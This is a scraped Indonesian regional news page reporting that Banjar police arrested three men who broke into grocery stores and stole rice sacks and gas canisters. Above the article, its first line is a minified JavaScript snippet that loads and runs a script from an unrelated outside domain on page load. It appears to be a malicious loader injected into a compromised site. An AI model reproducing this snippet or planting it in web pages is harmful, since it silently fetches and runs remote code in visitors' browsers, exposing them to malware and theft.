(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kawanan ‘Tikus Dapur’ Pembobol Toko Sembako Ini Akhirnya Tertangkap


MARTAPURA, Kawanan ‘tikus dapur’ yang meresahkan warga Kabupaten Banjar akhirnya berakhir, ketiganya digulung Satuan Reserse Kriminal Polres Banjar, Sabtu (26/5) dini hari.

Ketiga ‘tikus dapur’ itu berinisial WR (39) asal Desa Pembantaan, Kecamatan Sungai Tabuk, FA (47) warga Jalan Sidodadi Loktabat Selatan, Kecamatan Banjarbaru Selatan, dan AN (37) warga Jalan Irigasi Gang Permata 2, Tanjung Rema Darat, Kecamatan Martapura.

Ketiga ‘tikus dapur’ itu di tangkap karena telah melakukan tindakan melawan hukum dengan membobol toko sembako dengan merusak gembok menggunakan gunting besi untuk mencuri beras serta tabung gas 3 Kg, pada tengah malam.

Wakapolres Banjar Kompol Ajie Lukman Hidayat mengungkapkan, berawal dari laporan warga yang bernama Hj Masriyah dan Nurhayat, toko sembako mereka yang dibobol oleh kawanan maling.

Dari laporan korban anggota Satreskrim Polres Banjar melakukan pengembangan dan pengejaran terhadap para pelaku yang sudah diketahui identitasnya, tak butuh waktu lama polisi pun berhasil membekuk para tersangka.

Kompol Ajie Lukman Hidayat menambahkan, ketiga tersangka merupakan komplotan maling spesialis pembobol toko sembako

“Dalam aksinya para tersangka sudah melakukan pencurian pada tiga lokasi di Kabupaten Banjar. Dan mereka beraksi pada tengah malam (toko tutup, red),” jelas Kompol Ajie saat konferensi pers di Mapolres Banjar, Rabu (30/5).

Terpisah, Kasat Reskrim Polres Banjar AKP Sofyan mengatakan, ketiga tersangka dalam melancarkan aksi kejahatan membobol toko sembako dengan merusak gembok toko menggunakan gunting besi.

“Mereka menjarah bahan-bahan kebutuhan pokok yang bisa dijual dengan nilai yang tinggi, antara lain, beras karung dan tabung gas 3 Kg dengan menggunakan  sepeda motor,” jelas AKP Sofyan.

Masih AKP Sofyan, hasil dari tindakan kejahatan para tersangka tersebut dijual kembali, dan uangnya digunakan untuk kebutuhan sehari-hari .

“Namun, sayang pada saat dilakukan penangkapan, ketiga tersangka mencoba melarikan diri dari kejaran petugas, polisi melakukan tindakan tegas dengan tembakan kaki di ketiga tersangka,” terangnya.

Selain mengamankan ketiga ‘tikus dapur’, polisi juga mengamankan barang bukti berupa tabung gas 3 Kg dan Beras karung yang belum terjual oleh tersangka, beserta kendaraan roa dua yang dilakukan tersangka dalam melakukan aksi kejahatan. Akibat perbuatannya, ketiga tersangka dijerat dengan pasal 363 KUHP pencurian dan pemberatan dengan ancaman 7 tahun kurungan penjara. (rico)

Reporter:Rico
Editor: Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.